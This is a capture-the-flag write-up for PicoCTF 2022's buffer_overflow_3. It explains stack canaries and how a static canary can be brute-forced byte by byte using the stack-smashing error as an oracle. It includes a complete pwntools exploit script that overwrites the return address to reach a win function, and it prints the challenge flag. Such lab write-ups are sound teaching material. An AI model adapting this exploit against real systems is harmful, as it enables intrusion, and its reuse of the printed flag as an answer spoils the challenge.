PicoCTF 2022

Category: Binary Exploitation

buffer_overflow_3 (300 points)

Do you think you can bypass the protection and get the flag?

This challenge is basically the exact same to the previous binary_overflow_X challenges, except for one small addition. The creator of the binary added a “stack canary” of sorts, which essentially makes it so we can’t just send a static payload and get the flag that way. We have to actually know what the stack canary value is, lest the program aborts before we actually manage to exploit it.

Now, first, before we get ahead of ourselves, it’s important to know what exactly a stack canary even is. Stack Canaries, in short, is a binary security flag that is designed to make buffer overflows practically impossible to complete. They are random values placed on the stack that, if detected to have changed from their original value, will cause the program to immediately exit knowing for certain that an attack has taken place.

The “canary” portion comes from the canaries that used to be used around coal mines. If the canaries were noticed to have gotten sick or started dying, then it would signal to the miners that it would be too dangerous to continue.

Generally, this is a pretty good feature to have. Not saying that you should just mitigate proper checks in your programming to ensure buffer overflows don’t occur, but it just makes your life easier if you do manage to slip up and some attacker notices. The problem, though, is that the randomness of the canary is VITAL to it’s security!!

When looking at the C file provided to us, it tells us that the stack canary is NOT random. It is a static value that gets loaded from a file. THIS IS VERY BAD (or good, in our case), since it means that, considering the value is static, we are able to brute force it by using the “stack smashing detected” error message as an oracle.

For example, if the stack canary value was “bruh”, and we filled up the data before the canary was present, sending in the character “a” would cause the error to pop up as “bruh” is not “aruh”. However, if we send in the character “b”, “bruh” becomes “bruh”, which is identical. This means that, if the stack smashing message does not come up for a test byte 0x0-0xff that we send, it means we know we solved that portion of the canary, and as such can continue to the next portion. Repeat this 4 times (the canary is 4 bytes long), and we effectively bypassed it.

Afterwards, we can simply continue as we originally did. Fill up until we get to the instruction pointer, and make it jump to the win function, getting us the flag.

Script


#!/usr/bin/python3
#stack canaries can be very secure, BUT THEY MUST BE RANDOMIZED!
#a constant-value stack canary can be bruteforced by trial-and-error regarding the stack-smashing message
from pwn import *
context.log_level = "error"

#define our variables
#fill the 64-byte buffer with junk
base_payload = b"a"*64
win_mem_addr = pack(0x804933b, endianness="little")

#bruteforce the stack canary, using the success as an oracle
generate_connection = lambda: remote("saturn.picoctf.net", 49364)
canary = b""
if canary == b"": #dont BF if we already found it
    for i in range(4): #canary is 4 bytes
        successful_byte = None
        for possible_byte in [_.to_bytes(1, "little") for _ in range(0xff)]:
            #open the connection
            with generate_connection() as conn:
                #construct our payload
                payload_canary = canary + possible_byte
                print("\r" + " "*(len(str(payload_canary))+9), end="") #clear the screen to avoid artifacting
                print(f"\r{payload_canary}", end="")

                #send the amount of bytes we want the program to register
                #size is irrelevant; it just has to be >64 and atleast the size of the full payload (minus 1; to get rid of the null terminator)
                #then we send our payload
                payload = base_payload+payload_canary
                conn.sendlineafter(b"> ", str(len(payload)).encode("ascii"))
                conn.sendlineafter(b"Input> ", payload)

                #determine if there was a stack canary violation and use that as an oracle
                #if it detected stack smashing, the current byte wasn't correct
                #if it did not contain that, then the byte is correct
                if b"stack smashing" not in conn.recvall().lower():
                    successful_byte = possible_byte
                    break

        #if there was no successful byte, something went terribly wrong
        if successful_byte == None:
            print("No successful byte found; aborting")
            exit()

        #otherwise, add the successful byte to the canary
        canary += successful_byte

#print the canary
print(f"Using stack canary {canary}")

#perform standard buffer overflow
with generate_connection() as conn:
    #construct our payload
    #the "?" portion was found manually using GDB when I went to find where we start modifying the instruction pointer
    payload = base_payload + canary + b"?"*16 + win_mem_addr

    #send the payload and create an interactive session
    conn.sendlineafter(b"> ", str(len(payload)).encode("ascii"))
    conn.sendlineafter(b"Input> ", payload)
    conn.interactive()

#and there we go. the stack canary was BiRd
#picoCTF{Stat1C_c4n4r13s_4R3_b4D_9bfca314}

Leave a Reply